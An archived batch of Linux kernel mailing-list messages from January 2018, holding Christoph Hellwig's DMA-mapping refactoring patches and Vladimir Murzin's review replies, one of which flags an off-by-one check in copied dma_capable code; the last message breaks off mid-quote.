NNTP-Posting-Date: Wed, 10 Jan 2018 08:03:54 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 10 09:03:49 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZBMP-0004ln-NP
	for lnx-sparclinux@m.gmane.org; Wed, 10 Jan 2018 09:03:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753828AbeAJIFr (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 10 Jan 2018 03:05:47 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:54326 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965440AbeAJIBt (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Wed, 10 Jan 2018 03:01:49 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=CX1zuxJARuw9pJjSQKZbBPexsVAZhsP7gC/aAs5WFL8=; b=ok34micRRuZ2v46DA5l98zY1c
        VFYKnCQ5Rui2yQdMeOjRlUAq6BvwS2PLPFiTyuPpYs0wF5+XVhyFbL2G9IjdJD7OMQLXdwIVF05wu
        4nE7alAAA7+xl4/f7ySeOpWyoAaNvCDcJkZyxLA0voXWD/CnuqOgDv5ON6cB2bKbhi+hXhzS2gzdp
        nigOYlSsgVISnmkHjc0rlunw0B11Jjh6fA78uh3loeHtpVLm/OO6FVcp8lDkQ8o5+5bCspTcqMOTL
        lnGGSx3q6txnVVOEjO0ZOfjHCzm8l1LtNWVC/BP8/+jFvX/3xSxecXKl82Rd5n8v8/0gJIg+TGb7x
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKR-0005Kg-0y; Wed, 10 Jan 2018 08:01:43 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27214 gmane.linux.kernel.iommu:22052 gmane.linux.ports.alpha:4706 gmane.linux.kernel.arc:3316 gmane.linux.ports.arm.kernel:625032 gmane.linux.ports.hexagon:1532 gmane.linux.ports.ia64:28531 gmane.linux.kernel.metag:1608 gmane.linux.ports.mips.general:63218 gmane.linux.ports.parisc:28207 gmane.linux.ports.ppc64.devel:151855 gmane.linux.ports.sh.devel:56263 gmane.linux.kernel.cross-arch:41276 gmane.linux.kernel:2662741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27214>

This means it uses whatever linear remapping scheme that the architecture
provides is used in the generic dma_direct ops.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>
---
 lib/dma-direct.c | 18 +++++++-----------
 1 file changed, 7 insertions(+), 11 deletions(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 0ec3262a3148..12ea9653781b 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -1,12 +1,11 @@
 // SPDX-License-Identifier: GPL-2.0
 /*
- *	lib/dma-noop.c
- *
- * DMA operations that map to physical addresses without flushing memory.
+ * DMA operations that map physical memory directly without using an IOMMU or
+ * flushing caches.
  */
 #include <linux/export.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
@@ -17,7 +16,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 
 	ret = (void *)__get_free_pages(gfp, get_order(size));
 	if (ret)
-		*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
+		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
 
 	return ret;
 }
@@ -32,7 +31,7 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
-	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
+	return phys_to_dma(dev, page_to_phys(page)) + offset;
 }
 
 static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
@@ -42,12 +41,9 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	struct scatterlist *sg;
 
 	for_each_sg(sgl, sg, nents, i) {
-		dma_addr_t offset = PFN_PHYS(dev->dma_pfn_offset);
-		void *va;
-
 		BUG_ON(!sg_page(sg));
-		va = sg_virt(sg);
-		sg_dma_address(sg) = (dma_addr_t)virt_to_phys(va) - offset;
+
+		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
 		sg_dma_len(sg) = sg->length;
 	}
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 22/33] dma-mapping: provide a generic asm/dma-mapping.h
Date: Wed, 10 Jan 2018 09:00:16 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <20180110080027.13879-23-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571469 530 195.159.176.226 (10 Jan 2018 08:04:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:04:29 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jan 10 09:04:23 2018
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eZBN0-0007IZ-Qx
	for glps-linuxsh-dev@m.gmane.org; Wed, 10 Jan 2018 09:04:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754743AbeAJIGZ (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Wed, 10 Jan 2018 03:06:25 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44500 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965361AbeAJIBo (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Wed, 10 Jan 2018 03:01:44 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=fIXo7ye4ABGbI8Z4l4PS8W/qsplgIha60NnhRjQOjp8=; b=hdOgnff93AdOX2/Ocgq2KQlpD
        4TMjE/XSDM8PJwVaa33/bXorqrfxwI4X1nATY8VETiepRDahmfs1z5tO+3kN/iME0D6Av058KPmT+
        TFPXWlSFP/cLh6yijmDdeEX3OudlKkA7/zNmnfBAx0tVYHMCOXX234PnnmhAZIbJo9aYr7APFrL+t
        zKkSNZQ65LNP0315/KX3vV8auesx0dMlcjXl5xuaSdy0lR1X9dH+/NHmRpwBPDy7AqAPoWonYHsIt
        6FXb9uPVHVmMbpoUzc2SxL6OVBCyVJN6icDfoNPLnPbZCfA5bO9kyHUPXVqkvW8yk2HwQUTr93Gfm
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKL-0005Bz-9l; Wed, 10 Jan 2018 08:01:37 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56264 gmane.linux.kernel.iommu:22053 gmane.linux.ports.alpha:4707 gmane.linux.kernel.arc:3317 gmane.linux.ports.arm.kernel:625033 gmane.linux.ports.hexagon:1533 gmane.linux.ports.ia64:28532 gmane.linux.kernel.metag:1609 gmane.linux.ports.mips.general:63219 gmane.linux.ports.parisc:28208 gmane.linux.ports.ppc64.devel:151856 gmane.linux.ports.sparc:27215 gmane.linux.kernel.cross-arch:41277 gmane.linux.kernel:2662742
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56264>

For architectures that just use the generic dma_noop_ops we can provide
a generic version of dma-mapping.h.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 MAINTAINERS                          |  1 +
 arch/m32r/include/asm/Kbuild         |  1 +
 arch/m32r/include/asm/dma-mapping.h  | 17 -----------------
 arch/riscv/include/asm/Kbuild        |  1 +
 arch/riscv/include/asm/dma-mapping.h | 30 ------------------------------
 arch/s390/include/asm/Kbuild         |  1 +
 arch/s390/include/asm/dma-mapping.h  | 17 -----------------
 include/asm-generic/dma-mapping.h    | 10 ++++++++++
 8 files changed, 14 insertions(+), 64 deletions(-)
 delete mode 100644 arch/m32r/include/asm/dma-mapping.h
 delete mode 100644 arch/riscv/include/asm/dma-mapping.h
 delete mode 100644 arch/s390/include/asm/dma-mapping.h
 create mode 100644 include/asm-generic/dma-mapping.h

diff --git a/MAINTAINERS b/MAINTAINERS
index d2cfdcce1db5..234e642e7149 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4338,6 +4338,7 @@ F:	lib/dma-noop.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
+F:	include/asm-generic/dma-mapping.h
 F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
 
diff --git a/arch/m32r/include/asm/Kbuild b/arch/m32r/include/asm/Kbuild
index 7e11b125c35e..ca83fda8177b 100644
--- a/arch/m32r/include/asm/Kbuild
+++ b/arch/m32r/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += clkdev.h
 generic-y += current.h
+generic-y += dma-mapping.h
 generic-y += exec.h
 generic-y += extable.h
 generic-y += irq_work.h
diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
deleted file mode 100644
index 8967fb659691..000000000000
--- a/arch/m32r/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_M32R_DMA_MAPPING_H
-#define _ASM_M32R_DMA_MAPPING_H
-
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/io.h>
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif /* _ASM_M32R_DMA_MAPPING_H */
diff --git a/arch/riscv/include/asm/Kbuild b/arch/riscv/include/asm/Kbuild
index 970460a0b492..197460ccbf21 100644
--- a/arch/riscv/include/asm/Kbuild
+++ b/arch/riscv/include/asm/Kbuild
@@ -7,6 +7,7 @@ generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/riscv/include/asm/dma-mapping.h b/arch/riscv/include/asm/dma-mapping.h
deleted file mode 100644
index 73849e2cc761..000000000000
--- a/arch/riscv/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2003-2004 Hewlett-Packard Co
- *	David Mosberger-Tang <davidm@hpl.hp.com>
- * Copyright (C) 2012 ARM Ltd.
- * Copyright (C) 2016 SiFive, Inc.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-#ifndef __ASM_RISCV_DMA_MAPPING_H
-#define __ASM_RISCV_DMA_MAPPING_H
-
-/* Use ops->dma_mapping_error (if it exists) or assume success */
-// #undef DMA_ERROR_CODE
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif	/* __ASM_RISCV_DMA_MAPPING_H */
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index 048450869328..dade72be127b 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += cacheflush.h
 generic-y += clkdev.h
 generic-y += device.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += export.h
diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
deleted file mode 100644
index bdc2455483f6..000000000000
--- a/arch/s390/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_S390_DMA_MAPPING_H
-#define _ASM_S390_DMA_MAPPING_H
-
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/io.h>
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif /* _ASM_S390_DMA_MAPPING_H */
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
new file mode 100644
index 000000000000..164031531d85
--- /dev/null
+++ b/include/asm-generic/dma-mapping.h
@@ -0,0 +1,10 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _ASM_GENERIC_DMA_MAPPING_H
+#define _ASM_GENERIC_DMA_MAPPING_H
+
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
+{
+	return &dma_noop_ops;
+}
+
+#endif /* _ASM_GENERIC_DMA_MAPPING_H */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new
 header
Date: Wed, 10 Jan 2018 09:31:45 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <b2bd6f4b-a932-5251-517b-83bbccfe7c53@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-12-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515576605 23396 195.159.176.226 (10 Jan 2018 09:30:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 09:30:05 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Jan 10 10:29:59 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZChq-0004Xc-BR
	for lnx-linux-alpha@m.gmane.org; Wed, 10 Jan 2018 10:29:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753939AbeAJJcB (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Wed, 10 Jan 2018 04:32:01 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:38626 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753843AbeAJJb7 (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
        Wed, 10 Jan 2018 04:31:59 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 80A931529;
        Wed, 10 Jan 2018 01:31:58 -0800 (PST)
Original-Received: from [10.1.79.5] (unknown [10.1.79.5])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 9D0753F41F;
        Wed, 10 Jan 2018 01:31:54 -0800 (PST)
In-Reply-To: <20180110080027.13879-12-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4708 gmane.linux.kernel.iommu:22078 gmane.linux.ports.mips.general:63244 gmane.linux.ports.ia64:28557 gmane.linux.ports.sh.devel:56265 gmane.linux.ports.sparc:27216 gmane.linux.kernel.cross-arch:41302 gmane.linux.ports.hexagon:1534 gmane.linux.kernel.arc:3318 gmane.linux.kernel.metag:1610 gmane.linux.ports.arm.kernel:625081 gmane.linux.ports.parisc:28209 gmane.linux.kernel:2662834 gmane.linux.ports.ppc64.devel:151882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4708>

On 10/01/18 08:00, Christoph Hellwig wrote:
> index 9110988b92a1..f00833acb626 100644
> --- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
> +++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
> @@ -61,6 +61,14 @@ static inline void plat_post_dma_flush(struct device *dev)
>  {
>  }
>  
> +static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
> +{
> +	if (!dev->dma_mask)
> +		return false;
> +
> +	return addr + size <= *dev->dma_mask;
> +}
> +

I know it is copy&paste, but it seems it has off by one error and it should be

return addr + size - 1 <= *dev->dma_mask;


>  dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
>  phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
>  

snip...

> diff --git a/arch/mips/include/asm/mach-loongson64/dma-coherence.h b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
> index 1602a9e9e8c2..5cfda8f893e9 100644
> --- a/arch/mips/include/asm/mach-loongson64/dma-coherence.h
> +++ b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
> @@ -17,6 +17,14 @@
>  
>  struct device;
>  
> +static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
> +{
> +	if (!dev->dma_mask)
> +		return false;
> +
> +	return addr + size <= *dev->dma_mask;


ditto

Cheers
Vladimir
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 29/33] dma-direct: retry allocations using GFP_DMA for
 small masks
Date: Wed, 10 Jan 2018 09:32:16 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <93966313-cc79-8173-48e6-157caa443322@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-30-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515576633 29542 195.159.176.226 (10 Jan 2018 09:30:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 09:30:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 10 10:30:27 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZCiI-00071k-6g
	for lnx-sparclinux@m.gmane.org; Wed, 10 Jan 2018 10:30:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754803AbeAJJc1 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 10 Jan 2018 04:32:27 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:38682 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754096AbeAJJcW (ORCPT <rfc822;sparclinux@vger.kernel.org>);
        Wed, 10 Jan 2018 04:32:22 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 2F34F1596;
        Wed, 10 Jan 2018 01:32:22 -0800 (PST)
Original-Received: from [10.1.79.5] (unknown [10.1.79.5])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 3BE6E3F5AB;
        Wed, 10 Jan 2018 01:32:18 -0800 (PST)
In-Reply-To: <20180110080027.13879-30-hch@lst.de>
Content-Language: en-GB
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27217 gmane.linux.kernel.iommu:22079 gmane.linux.ports.mips.general:63245 gmane.linux.ports.ia64:28558 gmane.linux.ports.sh.devel:56266 gmane.linux.kernel.cross-arch:41303 gmane.linux.ports.hexagon:1535 gmane.linux.kernel.arc:3319 gmane.linux.kernel.metag:1611 gmane.linux.ports.arm.kernel:625082 gmane.linux.ports.parisc:28210 gmane.linux.kernel:2662835 gmane.linux.ports.alpha:4709 gmane.linux.ports.ppc64.devel:151883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27217>

On 10/01/18 08:00, Christoph Hellwig wrote:
> If an attempt to allocate memory succeeded, but isn't inside the
> supported DMA mask, retry the allocation with GFP_DMA set as a
> last resort.
> 
> Based on the x86 code, but an off by one error in what is now
> dma_coherent_ok has been fixed vs the x86 code.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  lib/dma-direct.c | 25 ++++++++++++++++++++++++-
>  1 file changed, 24 insertions(+), 1 deletion(-)
> 
> diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> index 8f76032ebc3c..4e43c2bb7f5f 100644
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -35,6 +35,11 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
>  	return true;
>  }
>  
